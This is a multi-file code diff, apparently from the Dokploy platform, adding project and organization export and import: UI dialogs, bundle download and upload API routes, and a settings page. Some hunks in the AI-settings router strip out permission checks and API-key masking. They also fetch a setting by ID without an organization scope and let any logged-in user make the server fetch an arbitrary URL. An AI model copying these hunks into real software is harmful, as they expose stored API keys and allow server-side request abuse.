<tr className="border-b">
<th className="px-2 py-1 text-left font-medium" />
<th className="px-2 py-1 text-left font-medium">Bundle source</th>
<th className="px-2 py-1 text-left font-medium">This instance</th>
</tr>
</thead>
<tbody>
{rows.map(([label, from, to]) => (
<tr key={label} className="border-b last:border-0">
<td className="px-2 py-1 text-muted-foreground">{label}</td>
<td className="px-2 py-1 font-mono">{from}</td>
<td
className={`px-2 py-1 font-mono ${to !== "n/a" && from !== to ? "text-yellow-600 dark:text-yellow-400" : ""}`}
>
{to}
</td>
</tr>
))}
</tbody>
</table>
</div>
);
};
@@ -53,6 +53,8 @@ import {
} from "@/components/ui/select";
import { api } from "@/utils/api";
import { useDebounce } from "@/utils/hooks/use-debounce";
import { ExportProject } from "../project/export-import/export-wizard";
import { ImportProject } from "../project/export-import/import-project";
import { HandleProject } from "./handle-project";
import { ProjectEnvironment } from "./project-environment";
@@ -217,7 +219,8 @@ export const ShowProjects = () => {
</CardDescription>
</CardHeader>
{permissions?.project.create && (
<div className="">
<div className="flex gap-2">
<ImportProject />
<HandleProject />
</div>
)}
@@ -237,6 +240,7 @@ export const ShowProjects = () => {
placeholder="Filter projects..."
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
autoComplete="off"
className="pr-10"
/>
@@ -414,6 +418,14 @@ export const ShowProjects = () => {
projectId={project.projectId}
/>
</div>
<div
onClick={(e) => e.stopPropagation()}
>
<ExportProject
projectId={project.projectId}
environments={project.environments}
/>
</div>
<div
onClick={(e) => e.stopPropagation()}
@@ -18,9 +18,7 @@ import { HandleAiProviders } from "./handle-ai-providers";
export const AiForm = () => {
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
const { data: permissions } = api.user.getPermissions.useQuery();
const { data: currentUser } = api.user.get.useQuery();
const isOrgAdmin =
currentUser?.role === "owner" || currentUser?.role === "admin";
@@ -38,9 +36,7 @@ export const AiForm = () => {
</div>
<div className="flex flex-row gap-2">
{isOrgAdmin && <HandleAiProviders />}
{permissions?.ai.create && aiConfigs && aiConfigs?.length > 0 && (
<HandleAi />
)}
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</div>
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">
@@ -57,7 +53,7 @@ export const AiForm = () => {
<span className="text-base text-muted-foreground text-center">
You don't have any AI configurations
</span>
{permissions?.ai.create && <HandleAi />}
<HandleAi />
</div>
) : (
<div className="flex flex-col gap-4 rounded-lg min-h-[25vh]">
@@ -74,37 +70,33 @@ export const AiForm = () => {
<CardDescription>{config.model}</CardDescription>
</div>
<div className="flex justify-between items-center">
{permissions?.ai.update && (
<HandleAi aiId={config.aiId} />
)}
{permissions?.ai.delete && (
<DialogAction
title="Delete AI"
description="Are you sure you want to delete this AI?"
type="destructive"
onClick={async () => {
await mutateAsync({
aiId: config.aiId,
<HandleAi aiId={config.aiId} />
<DialogAction
title="Delete AI"
description="Are you sure you want to delete this AI?"
type="destructive"
onClick={async () => {
await mutateAsync({
aiId: config.aiId,
})
.then(() => {
toast.success("AI deleted successfully");
refetch();
})
.then(() => {
toast.success("AI deleted successfully");
refetch();
})
.catch(() => {
toast.error("Error deleting AI");
});
}}
.catch(() => {
toast.error("Error deleting AI");
});
}}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10 "
isLoading={isRemoving}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10 "
isLoading={isRemoving}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
)}
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
</div>
</div>
</div>
@@ -0,0 +1,512 @@
import { Download, KeyRound, Package, Trash2, UploadCloud } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
import {
BundleListState,
BundleMeta,
DestinationSelect,
} from "@/components/dashboard/project/export-import/destination-select";
import { ExportWizard } from "@/components/dashboard/project/export-import/export-wizard";
import { ImportProject } from "@/components/dashboard/project/export-import/import-project";
import {
isPassphraseValid,
MIN_PASSPHRASE_LENGTH,
PassphraseField,
PassphraseFields,
} from "@/components/dashboard/project/export-import/passphrase-fields";
import { allServiceIdsOf } from "@/components/dashboard/project/export-import/scope-form";
import { AlertBlock } from "@/components/shared/alert-block";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Checkbox } from "@/components/ui/checkbox";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Label } from "@/components/ui/label";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { api } from "@/utils/api";
const ORGANIZATION = "__organization__";
const OrganizationExport = ({
destinationId,
onBack,
onDone,
}: {
destinationId: string;
onBack: () => void;
onDone: () => void;
}) => {
const [passphrase, setPassphrase] = useState("");
const [confirm, setConfirm] = useState("");
const [excluded, setExcluded] = useState<Set<string>>(new Set());
const [exports, setExports] = useState<
{ projectId: string; name: string; exportId: string }[]
>([]);
const { data: projects } = api.project.all.useQuery();
const selectedProjectIds = (projects ?? [])
.map((project) => project.projectId)
.filter((projectId) => !excluded.has(projectId));
const toggleProject = (projectId: string, checked: boolean) =>
setExcluded((prev) => {
const next = new Set(prev);
if (checked) next.delete(projectId);
else next.add(projectId);
return next;
});
const { mutateAsync: start, isPending } =
api.projectExportImport.exportOrganizationStart.useMutation({
onError: (error) => toast.error(error.message),
});
const status = api.projectExportImport.exportBatchStatus.useQuery(
{ exportIds: exports.map((entry) => entry.exportId) },
{
enabled: exports.length > 0,
refetchIntervalInBackground: true,
refetchInterval: (query) =>
query.state.data?.every(
(entry) => entry.status === "done" || entry.status === "error",
)
? false
: 1000,
},
);
const finished =
exports.length > 0 &&
!!status.data?.every(
(entry) => entry.status === "done" || entry.status === "error",
);
const handleStart = async () => {
try {
const result = await start({
destinationId,
passphrase,
projectIds: selectedProjectIds,
});
setExports(result.exports);
if (result.skipped.length > 0) {
toast.warning(
`Skipped ${result.skipped.map((entry) => entry.name).join(", ")}`,
{ description: result.skipped[0]?.reason },
);
}
} catch {}
};
return (
<>
<DialogHeader>
<DialogTitle>Export organization</DialogTitle>
<DialogDescription>
{exports.length > 0
? `Step 2 of 2: Export (${exports.length} projects)`
: "Step 1 of 2: Select projects"}
</DialogDescription>
</DialogHeader>
{exports.length > 0 ? (
<div className="space-y-2">
{exports.map((entry) => {
const state = status.data?.find(
(row) => row.exportId === entry.exportId,
);
return (
<div
key={entry.exportId}
className="flex items-center justify-between gap-3 rounded-md border p-2 text-sm"
>
<span className="font-medium">{entry.name}</span>
<span
className={`truncate text-xs ${state?.status === "error" ? "text-destructive" : "text-muted-foreground"}`}
>
{state?.status === "done"
? `Uploaded${state.size ? ` (${formatBytes(state.size)})` : ""}`
: state?.status === "error"
? state.error
: (state?.message ?? "Waiting...")}
</span>
</div>
);
})}
</div>
) : (
<div className="space-y-4">
<div className="space-y-1">
<div className="flex items-center justify-between">
<Label className="text-xs">
Projects ({selectedProjectIds.length} of {projects?.length ?? 0}
)
</Label>
<Button
type="button"
variant="ghost"
size="sm"
className="h-auto px-2 py-1 text-xs"
onClick={() =>
setExcluded(
excluded.size === 0
? new Set((projects ?? []).map((p) => p.projectId))
: new Set(),
)
}
>
{excluded.size === 0 ? "Deselect all" : "Select all"}
</Button>
</div>
<div className="max-h-[220px] space-y-1 overflow-y-auto rounded-md border p-2">
{projects?.map((project) => (
<label
key={project.projectId}
htmlFor={`org-export-${project.projectId}`}
className="flex cursor-pointer items-center gap-2 rounded px-1 py-0.5 text-sm hover:bg-muted"
>
<Checkbox
id={`org-export-${project.projectId}`}
checked={!excluded.has(project.projectId)}
onCheckedChange={(checked) =>
toggleProject(project.projectId, checked === true)
}
/>
<span>{project.name}</span>
<span className="text-xs text-muted-foreground">
{project.environments.reduce(
(total, env) => total + allServiceIdsOf(env).length,
0,
)}{" "}
services
</span>
</label>
))}
</div>
</div>
<AlertBlock type="info">
Each selected project is exported one after another with everything
in scope: all environments and services, shared resources, files and
database dumps. Each project becomes its own bundle, built on the
server where it runs.
</AlertBlock>
<AlertBlock type="warning">
The exported files contain your secrets, encrypted with the
passphrase below. You'll need this exact passphrase to import them
later; without it, the exports can't be recovered.
</AlertBlock>
<PassphraseFields
value={passphrase}
confirm={confirm}
onValueChange={setPassphrase}
onConfirmChange={setConfirm}
/>
</div>
)}
<DialogFooter>
{exports.length === 0 && (
<Button variant="outline" onClick={onBack}>
Back
</Button>
)}
{exports.length === 0 && (
<Button
isLoading={isPending}
disabled={
!isPassphraseValid(passphrase, confirm) ||
selectedProjectIds.length === 0
}
onClick={handleStart}
>
Start export
</Button>
)}
{finished && (
<Button variant="outline" onClick={onDone}>
Close
</Button>
)}
</DialogFooter>
</>
);
};
const ExportDialogBody = ({
destinationId,
onClose,
}: {
destinationId: string;
onClose: () => void;
}) => {
const [target, setTarget] = useState("");
const { data: projects } = api.project.all.useQuery();
const project = projects?.find((entry) => entry.projectId === target);
if (project) {
return (
<ExportWizard
title={`Export ${project.name}`}
projectId={project.projectId}
environments={project.environments}
destinationId={destinationId}
onClose={onClose}
onBackFromStart={() => setTarget("")}
/>
);
}
if (target === ORGANIZATION) {
return (
<OrganizationExport
destinationId={destinationId}
onBack={() => setTarget("")}
onDone={onClose}
/>
);
}
return (
<>
<DialogHeader>
<DialogTitle>Export to destination</DialogTitle>
<DialogDescription>
Pick a project to go through the same steps as a project export, or
export the whole organization.
</DialogDescription>
</DialogHeader>
<div className="grid gap-1">
<Label className="text-xs">What to export</Label>
<Select value={target} onValueChange={setTarget}>
<SelectTrigger>
<SelectValue placeholder="Select a project or the whole organization" />
</SelectTrigger>
<SelectContent>
<SelectItem value={ORGANIZATION}>
Whole organization ({projects?.length ?? 0} projects)
</SelectItem>
{projects?.map((entry) => (
<SelectItem key={entry.projectId} value={entry.projectId}>
{entry.name}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
</>
);
};
const CheckPassphrase = ({
destinationId,
bundleKey,
}: {
destinationId: string;
bundleKey: string;
}) => {
const [open, setOpen] = useState(false);
const [passphrase, setPassphrase] = useState("");
const [result, setResult] = useState<string | null>(null);
const { mutateAsync: verify, isPending } =
api.projectExportImport.verifyBundlePassphrase.useMutation({
onError: (error) => toast.error(error.message),
});
const handleCheck = async () => {
try {
const outcome = await verify({
destinationId,
key: bundleKey,
passphrase,
});
setResult(
!outcome.checked
? "This bundle can't be checked without downloading it (older format)."
: outcome.valid
? "The passphrase is valid for this bundle."
: "Wrong passphrase for this bundle.",
);
} catch {}
};
return (
<Dialog
open={open}
onOpenChange={(next) => {
setOpen(next);
if (!next) {
setPassphrase("");
setResult(null);
}
}}
>
<DialogTrigger asChild>
<Button variant="ghost" size="sm" title="Check passphrase">
<KeyRound className="h-4 w-4" />
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-md">
<DialogHeader>
<DialogTitle>Check passphrase</DialogTitle>
<DialogDescription className="break-all font-mono text-xs">
{bundleKey}
</DialogDescription>
</DialogHeader>
<PassphraseField
id="check-passphrase"
label="Passphrase"
value={passphrase}
onChange={setPassphrase}
/>
{result && <p className="text-sm">{result}</p>}
<Button
isLoading={isPending}
disabled={passphrase.length < MIN_PASSPHRASE_LENGTH}
onClick={handleCheck}
>
Check
</Button>
</DialogContent>
</Dialog>
);
};
export const ShowExports = () => {
const [destinationId, setDestinationId] = useState("");
const [exportOpen, setExportOpen] = useState(false);
const bundles = api.projectExportImport.listRemoteBundles.useQuery(
{ destinationId },
{ enabled: !!destinationId },
);
const {
mutateAsync: deleteBundle,
isPending: isDeleting,
variables: deleting,
} = api.projectExportImport.deleteRemoteBundle.useMutation({
onSuccess: () => {
toast.success("Bundle deleted");
void bundles.refetch();
},
onError: (error) => toast.error(error.message),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl w-full">
<div className="rounded-xl bg-background shadow-md">
<CardHeader>
<CardTitle className="text-xl flex flex-row gap-2">
<Package className="size-6 text-muted-foreground self-center" />
Exports
</CardTitle>
<CardDescription>
Project bundles stored under dokploy-export-import/ in your S3
destinations. Export a project or the whole organization, then
download, check or delete the bundles from here.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
<div className="grid gap-3 sm:grid-cols-[minmax(0,1fr)_auto_auto] sm:items-end">
<DestinationSelect
value={destinationId}
onChange={setDestinationId}
/>
<Dialog
open={exportOpen}
onOpenChange={(next) => {
setExportOpen(next);
if (!next) void bundles.refetch();
}}
>
<DialogTrigger asChild>
<Button disabled={!destinationId}>
<UploadCloud className="mr-2 h-4 w-4" />
Export
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
{exportOpen && (
<ExportDialogBody
destinationId={destinationId}
onClose={() => {
setExportOpen(false);
void bundles.refetch();
}}
/>
)}
</DialogContent>
</Dialog>
<ImportProject />
</div>
{!destinationId && (
<p className="text-sm text-muted-foreground">
Pick a destination to list the bundles stored in it.
</p>
)}
<BundleListState query={bundles} />
{bundles.data && bundles.data.length > 0 && (
<div className="flex flex-col gap-2">
{bundles.data.map((bundle) => (
<div
key={bundle.key}
className="flex items-center justify-between gap-3 rounded-lg border bg-background p-3"
>
<div className="min-w-0">
<p className="truncate font-mono text-sm">
{bundle.key.split("/").at(-1)}
</p>
<BundleMeta size={bundle.size} modTime={bundle.modTime} />
</div>
<div className="flex shrink-0 items-center gap-1">
<Button variant="outline" size="sm" asChild>
<a
href={`/api/project-export-import/bundle?destinationId=${encodeURIComponent(destinationId)}&key=${encodeURIComponent(bundle.key)}`}
>
<Download className="mr-2 h-4 w-4" />
Download
</a>
</Button>
<CheckPassphrase
destinationId={destinationId}
bundleKey={bundle.key}
/>
<DialogAction
title="Delete bundle"
description={`This removes ${bundle.key} from the destination. It can't be undone.`}
onClick={() =>
deleteBundle({ destinationId, key: bundle.key })
}
>
<Button
variant="ghost"
size="sm"
isLoading={isDeleting && deleting?.key === bundle.key}
className="text-destructive"
>
<Trash2 className="h-4 w-4" />
</Button>
</DialogAction>
</div>
</div>
))}
</div>
)}
</CardContent>
</div>
</Card>
</div>
);
};
@@ -148,7 +148,6 @@ export const HandleAi = ({ aiId }: Props) => {
{
apiUrl: apiUrl ?? "",
apiKey: apiKey ?? "",
...(aiId ? { aiId } : {}),
},
{
enabled: !!apiUrl && (isLocalOllama || !!apiKey),
@@ -483,7 +482,6 @@ export const HandleAi = ({ aiId }: Props) => {
apiUrl={apiUrl}
apiKey={apiKey}
model={form.watch("model")}
aiId={aiId}
/>
<Button type="submit" isLoading={isPending}>
{aiId ? "Update" : "Create"}
@@ -500,12 +498,10 @@ function TestConnectionButton({
apiUrl,
apiKey,
model,
aiId,
}: {
apiUrl: string;
apiKey: string;
model: string;
aiId?: string;
}) {
const { mutate, isPending } = api.ai.testConnection.useMutation({
onSuccess: () => {
@@ -525,9 +521,7 @@ function TestConnectionButton({
type="button"
variant="outline"
disabled={isDisabled || isPending}
onClick={() =>
mutate({ apiUrl, apiKey, model, ...(aiId ? { aiId } : {}) })
}
onClick={() => mutate({ apiUrl, apiKey, model })}
>
{isPending ? (
<Loader2 className="mr-2 h-4 w-4 animate-spin" />
+9 -7
View File
@@ -2,6 +2,7 @@
import type { inferRouterOutputs } from "@trpc/server";
import {
Activity,
Archive,
BarChartHorizontalBigIcon,
Bell,
BlocksIcon,
@@ -351,13 +352,7 @@ const MENU: Menu = {
icon: BotIcon,
url: "/dashboard/settings/ai",
isSingle: true,
isEnabled: ({ permissions }) =>
!!(
permissions?.ai.read ||
permissions?.ai.create ||
permissions?.ai.update ||
permissions?.ai.delete
),
isEnabled: ({ permissions }) => !!permissions?.organization.update,
},
{
isSingle: true,
@@ -409,6 +404,13 @@ const MENU: Menu = {
icon: HardDrive,
isEnabled: ({ permissions }) => !!permissions?.destination.read,
},
{
isSingle: true,
title: "Exports",
url: "/dashboard/settings/exports",
icon: Archive,
isEnabled: ({ auth }) => auth?.role === "owner" || auth?.role === "admin",
},
{
isSingle: true,
@@ -185,11 +185,6 @@ const RESOURCE_META: Record<string, { label: string; description: string }> = {
description:
"Manage the providers (Grafana Loki, Prometheus, Datadog, New Relic, etc.) that container logs and metrics are shipped to",
},
ai: {
label: "AI Settings",
description:
"Manage AI providers, models, and use AI features (log analysis, suggestions)",
},
};
/** Descriptions for each action within a resource */
@@ -500,25 +495,6 @@ const ACTION_META: Record<
description: "Remove logs and metrics providers",
},
},
ai: {
read: {
label: "Read",
description:
"View AI providers and use AI features (log analysis, suggestions)",
},
create: {
label: "Create",
description: "Add new AI provider configurations",
},
update: {
label: "Update",
description: "Edit AI provider settings and custom providers",
},
delete: {
label: "Delete",
description: "Remove AI provider configurations",
},
},
};
/** Resources that should be hidden from the custom role editor (better-auth internals) */
@@ -630,7 +606,6 @@ const ROLE_PRESETS: {
logs: ["read"],
monitoring: ["read"],
auditLog: ["read"],
ai: ["read", "create", "update", "delete"],
},
},
];
+2
View File
@@ -94,6 +94,7 @@
"better-auth": "1.6.23",
"bl": "6.0.11",
"boxen": "^7.1.1",
"busboy": "^1.6.0",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"cmdk": "^0.2.1",
@@ -157,6 +158,7 @@
"devDependencies": {
"@tailwindcss/postcss": "^4.3.1",
"@types/bcrypt": "5.0.2",
"@types/busboy": "^1.5.4",
"@types/dompurify": "^3.2.0",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "4.17.4",
@@ -0,0 +1,98 @@
import { basename } from "node:path";
import { validateRequest } from "@dokploy/server/lib/auth";
import {
assertTransferPermission,
BUNDLE_EXTENSION,
EXPORTS_DIRECTORY,
findOrganizationDestination,
listBundles,
safeErrorMessage,
streamBundleFromDestination,
streamProcessToResponse,
} from "@dokploy/server/services/project-export-import";
import type { NextApiRequest, NextApiResponse } from "next";
export const config = {
api: {
responseLimit: false,
},
};
export default async function handler(
req: NextApiRequest,
res: NextApiResponse,
) {
if (req.method !== "GET") {
res.status(405).json({ message: "Method not allowed" });
return;
}
const { session, user } = await validateRequest(req);
const organizationId = (session as { activeOrganizationId?: string } | null)
?.activeOrganizationId;
if (!session || !user || !organizationId) {
res.status(401).json({ message: "Unauthorized" });
return;
}
const { destinationId, key } = req.query;
if (
typeof destinationId !== "string" ||
typeof key !== "string" ||
!key.startsWith(`${EXPORTS_DIRECTORY}/`) ||
!key.endsWith(BUNDLE_EXTENSION) ||
key.includes("..")
) {
res.status(400).json({ message: "Invalid bundle" });
return;
}
try {
await assertTransferPermission(
{
user: { id: user.id },
session: { activeOrganizationId: organizationId },
},
undefined,
"export",
);
} catch {
res.status(403).json({ message: "Forbidden" });
return;
}
let destination: Awaited<ReturnType<typeof findOrganizationDestination>>;
try {
destination = await findOrganizationDestination(
destinationId,
organizationId,
);
} catch {
res.status(404).json({ message: "Destination not found" });
return;
}
let bundle: Awaited<ReturnType<typeof listBundles>>[number] | undefined;
try {
bundle = (await listBundles(destination)).find(
(entry) => entry.key === key,
);
} catch (error) {
res.status(502).json({ message: safeErrorMessage(error) });
return;
}
if (!bundle) {
res.status(404).json({ message: "Bundle not found" });
return;
}
res.setHeader("Content-Type", "application/gzip");
res.setHeader(
"Content-Disposition",
`attachment; filename*=UTF-8''${encodeURIComponent(basename(key))}`,
);
res.setHeader("Content-Length", bundle.size);
const proc = await streamBundleFromDestination(destination, key);
await streamProcessToResponse(proc, res).catch(() => {});
}
@@ -0,0 +1,96 @@
import { basename } from "node:path";
import { validateRequest } from "@dokploy/server/lib/auth";
import {
assertTransferPermission,
escapeShellArg,
fileSize,
invalidateDownloadToken,
peekDownloadToken,
streamProcessToResponse,
} from "@dokploy/server/services/project-export-import";
import { openProcessStream } from "@dokploy/server/utils/process/remoteStream";
import { TRPCError } from "@trpc/server";
import type { NextApiRequest, NextApiResponse } from "next";
export const config = {
api: {
responseLimit: false,
},
};
export default async function handler(
req: NextApiRequest,
res: NextApiResponse,
) {
if (req.method !== "GET") {
res.status(405).json({ message: "Method not allowed" });
return;
}
const { session, user } = await validateRequest(req);
if (!session || !user) {
res.status(401).json({ message: "Unauthorized" });
return;
}
const { token } = req.query;
if (typeof token !== "string") {
res.status(400).json({ message: "Invalid token" });
return;
}
const job = peekDownloadToken(token);
const activeOrganizationId = (session as { activeOrganizationId?: string })
.activeOrganizationId;
if (
!job ||
job.organizationId !== activeOrganizationId ||
!activeOrganizationId
) {
res.status(404).json({ message: "Not found" });
return;
}
try {
await assertTransferPermission(
{ user: { id: user.id }, session: { activeOrganizationId } },
undefined,
"export",
);
} catch (error) {
const status =
error instanceof TRPCError && error.code === "FORBIDDEN" ? 403 : 401;
res.status(status).json({ message: "Unauthorized" });
return;
}
if (job.status !== "done" || !job.bundle) {
res.status(409).json({ message: "Export is not ready for download" });
return;
}
const bundle = job.bundle;
let size = 0;
try {
size = await fileSize(bundle);
} catch {}
if (size === 0) {
res.status(404).json({ message: "Bundle file is missing" });
return;
}
res.setHeader("Content-Type", "application/gzip");
res.setHeader(
"Content-Disposition",
`attachment; filename="${basename(bundle.path)}"`,
);
res.setHeader("Content-Length", size);
const proc = await openProcessStream(
bundle.serverId,
`cat ${escapeShellArg(bundle.path)}`,
);
await streamProcessToResponse(proc, res)
.then(() => invalidateDownloadToken(token))
.catch(() => {});
}
@@ -0,0 +1,209 @@
import { randomUUID } from "node:crypto";
import { createWriteStream } from "node:fs";
import { join } from "node:path";
import type { Writable } from "node:stream";
import { validateRequest } from "@dokploy/server/lib/auth";
import {
assertNoActiveTransfer,
assertTransferPermission,
at,
createImportJobIfNoneActive,
escapeShellArg,
findOrganizationServerId,
type Location,
prepareRoot,
remove,
TRANSFER_MAX_UPLOAD_BYTES,
transferRoot,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { openProcessStream } from "@dokploy/server/utils/process/remoteStream";
import { TRPCError } from "@trpc/server";
import busboy from "busboy";
import type { NextApiRequest, NextApiResponse } from "next";
export const config = {
api: {
bodyParser: false,
},
};
class UploadTooLargeError extends Error {}
type UploadTarget = { stream: Writable; done: Promise<void> };
const openTarget = async (bundle: Location): Promise<UploadTarget> => {
if (!bundle.serverId) {
const stream = createWriteStream(bundle.path);
return {
stream,
done: new Promise((resolve, reject) => {
stream.on("finish", resolve);
stream.on("error", reject);
}),
};
}
const proc = await openProcessStream(
bundle.serverId,
`mkdir -p ${escapeShellArg(join(bundle.path, ".."))} && cat > ${escapeShellArg(bundle.path)}`,
);
proc.stdout.resume();
proc.stdin.on("error", () => {});
const errors: string[] = [];
proc.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString()));
return {
stream: proc.stdin as Writable,
done: proc.exit.then((code) => {
if (code !== 0) {
throw new Error(
`Writing the bundle on the server failed: ${errors.join("").trim()}`,
);
}
}),
};
};
const receiveUpload = (
req: NextApiRequest,
target: UploadTarget,
maxBytes: number,
): Promise<void> =>
new Promise((resolve, reject) => {
const bb = busboy({ headers: req.headers, limits: { fileSize: maxBytes } });
let gotFile = false;
const abort = (error: Error) => {
target.stream.destroy();
bb.destroy();
req.unpipe(bb);
req.destroy();
reject(error);
};
target.done.catch(abort);
bb.on("file", (_name, file) => {
if (gotFile) {
file.on("error", () => {});
file.resume();
abort(new Error("Upload contains more than one file field"));
return;
}
gotFile = true;
let limited = false;
file.on("error", () => {});
file.on("limit", () => {
limited = true;
abort(
new UploadTooLargeError("Bundle exceeds the maximum upload size"),
);
});
target.done.then(
() => {
if (!limited) resolve();
},
(error) => reject(error),
);
file.pipe(target.stream);
});
bb.on("error", reject);
bb.on("close", () => {
if (!gotFile) {
reject(new Error("No file field found in the upload"));
}
});
req.pipe(bb);
});
export default async function handler(
req: NextApiRequest,
res: NextApiResponse,
) {
if (req.method !== "POST") {
res.status(405).json({ message: "Method not allowed" });
return;
}
const { session, user } = await validateRequest(req);
const activeOrganizationId = (
session as { activeOrganizationId?: string } | null
)?.activeOrganizationId;
if (!session || !user || !activeOrganizationId) {
res.status(401).json({ message: "Unauthorized" });
return;
}
try {
await assertTransferPermission(
{ user: { id: user.id }, session: { activeOrganizationId } },
undefined,
"import",
);
} catch (error) {
res.status(403).json({
message: error instanceof Error ? error.message : "Forbidden",
});
return;
}
try {
assertNoActiveTransfer(user.id);
} catch (error) {
if (error instanceof TRPCError && error.code === "CONFLICT") {
res.status(409).json({ message: error.message });
return;
}
throw error;
}
let serverId: string | null;
try {
const requested = req.query?.serverId;
serverId = await findOrganizationServerId(
typeof requested === "string" ? requested : undefined,
activeOrganizationId,
);
} catch (error) {
res.status(400).json({
message: error instanceof Error ? error.message : "Invalid server",
});
return;
}
const importId = randomUUID();
const root = transferRoot(importId, serverId);
const bundle = at(root, "bundle.dokploy.tar.gz");
let target: UploadTarget | undefined;
try {
await prepareRoot(root);
target = await openTarget(bundle);
await receiveUpload(req, target, TRANSFER_MAX_UPLOAD_BYTES);
} catch (error) {
target?.stream.destroy();
await remove(root).catch(() => {});
const tooLarge = error instanceof UploadTooLargeError;
res.status(tooLarge ? 413 : 400).json({
message: error instanceof Error ? error.message : "Upload failed",
});
return;
}
try {
createImportJobIfNoneActive(importId, user.id, activeOrganizationId);
} catch (error) {
await remove(root).catch(() => {});
if (error instanceof TRPCError && error.code === "CONFLICT") {
res.status(409).json({ message: error.message });
return;
}
throw error;
}
updateImportJob(importId, { root, bundle, status: "uploaded" });
res.status(200).json({ importId, serverId });
}
@@ -0,0 +1,57 @@
import { validateRequest } from "@dokploy/server";
import { createServerSideHelpers } from "@trpc/react-query/server";
import type { GetServerSidePropsContext } from "next";
import type { ReactElement } from "react";
import superjson from "superjson";
import { ShowExports } from "@/components/dashboard/settings/exports/show-exports";
import { DashboardLayout } from "@/components/layouts/dashboard-layout";
import { appRouter } from "@/server/api/root";
const Page = () => {
return (
<div className="flex flex-col gap-4 w-full">
<ShowExports />
</div>
);
};
export default Page;
Page.getLayout = (page: ReactElement) => {
return <DashboardLayout metaName="Exports">{page}</DashboardLayout>;
};
export async function getServerSideProps(
ctx: GetServerSidePropsContext<{ serviceId: string }>,
) {
const { req, res } = ctx;
const { user, session } = await validateRequest(req);
if (!user || (user.role !== "owner" && user.role !== "admin")) {
return {
redirect: {
permanent: false,
destination: "/",
},
};
}
const helpers = createServerSideHelpers({
router: appRouter,
ctx: {
req: req as any,
res: res as any,
db: null as any,
session: session as any,
user: user as any,
},
transformer: superjson,
});
await helpers.user.get.prefetch();
await helpers.settings.isCloud.prefetch();
await helpers.destination.all.prefetch();
return {
props: {
trpcState: helpers.dehydrate(),
},
};
}
+2
View File
@@ -34,6 +34,7 @@ import { portRouter } from "./routers/port";
import { postgresRouter } from "./routers/postgres";
import { previewDeploymentRouter } from "./routers/preview-deployment";
import { projectRouter } from "./routers/project";
import { projectExportImportRouter } from "./routers/project-export-import";
import { auditLogRouter } from "./routers/proprietary/audit-log";
import { customRoleRouter } from "./routers/proprietary/custom-role";
import { forwardAuthRouter } from "./routers/proprietary/forward-auth";
@@ -124,6 +125,7 @@ export const appRouter = createTRPCRouter({
patch: patchRouter,
overview: overviewRouter,
transfer: transferRouter,
projectExportImport: projectExportImportRouter,
});
// export type definition of API
+46 -116
View File
@@ -15,9 +15,6 @@ import {
getAiSettingById,
getAiSettingsByOrganizationId,
getCustomAiProviders,
maskAiApiKey,
mergeAiApiKey,
resolveAiApiKey,
saveAiSettings,
saveCustomAiProviders,
suggestVariants,
@@ -26,7 +23,6 @@ import { createComposeByTemplate } from "@dokploy/server/services/compose";
import {
addNewService,
checkServiceAccess,
hasPermission,
} from "@dokploy/server/services/permission";
import { findProjectById } from "@dokploy/server/services/project";
import {
@@ -42,48 +38,23 @@ import { slugify } from "@/lib/slug";
import {
adminProcedure,
createTRPCRouter,
withAnyPermission,
withPermission,
protectedProcedure,
} from "@/server/api/trpc";
import { audit } from "@/server/api/utils/audit";
import { generatePassword } from "@/templates/utils";
const resolveInputApiKey = (
input: { apiKey: string; apiUrl: string; aiId?: string },
ctx: { user: { id: string }; session: { activeOrganizationId: string } },
) =>
resolveAiApiKey({
apiKey: input.apiKey,
apiUrl: input.apiUrl,
aiId: input.aiId,
organizationId: ctx.session.activeOrganizationId,
authorize: () => hasPermission(ctx, { ai: ["update"] }),
});
export const aiRouter = createTRPCRouter({
one: withAnyPermission("ai", ["read", "update"])
one: adminProcedure
.input(z.object({ aiId: z.string() }))
.query(async ({ input, ctx }) => {
const setting = await getAiSettingById(
input.aiId,
ctx.session.activeOrganizationId,
);
return maskAiApiKey(setting);
.query(async ({ input }) => {
return await getAiSettingById(input.aiId);
}),
getModels: withAnyPermission("ai", ["read", "create", "update"])
.input(
z.object({
apiUrl: z.string().min(1),
apiKey: z.string(),
aiId: z.string().optional(),
}),
)
.query(async ({ input, ctx }) => {
getModels: protectedProcedure
.input(z.object({ apiUrl: z.string().min(1), apiKey: z.string() }))
.query(async ({ input }) => {
try {
const apiKey = await resolveInputApiKey(input, ctx);
const providerName = getProviderName(input.apiUrl);
const headers = getProviderHeaders(input.apiUrl, apiKey);
const headers = getProviderHeaders(input.apiUrl, input.apiKey);
let response = null;
switch (providerName) {
case "ollama":
@@ -91,7 +62,7 @@ export const aiRouter = createTRPCRouter({
break;
case "gemini":
response = await fetch(
`${input.apiUrl}/models?key=${encodeURIComponent(apiKey)}`,
`${input.apiUrl}/models?key=${encodeURIComponent(input.apiKey)}`,
{ headers: {} },
);
break;
@@ -154,7 +125,7 @@ export const aiRouter = createTRPCRouter({
},
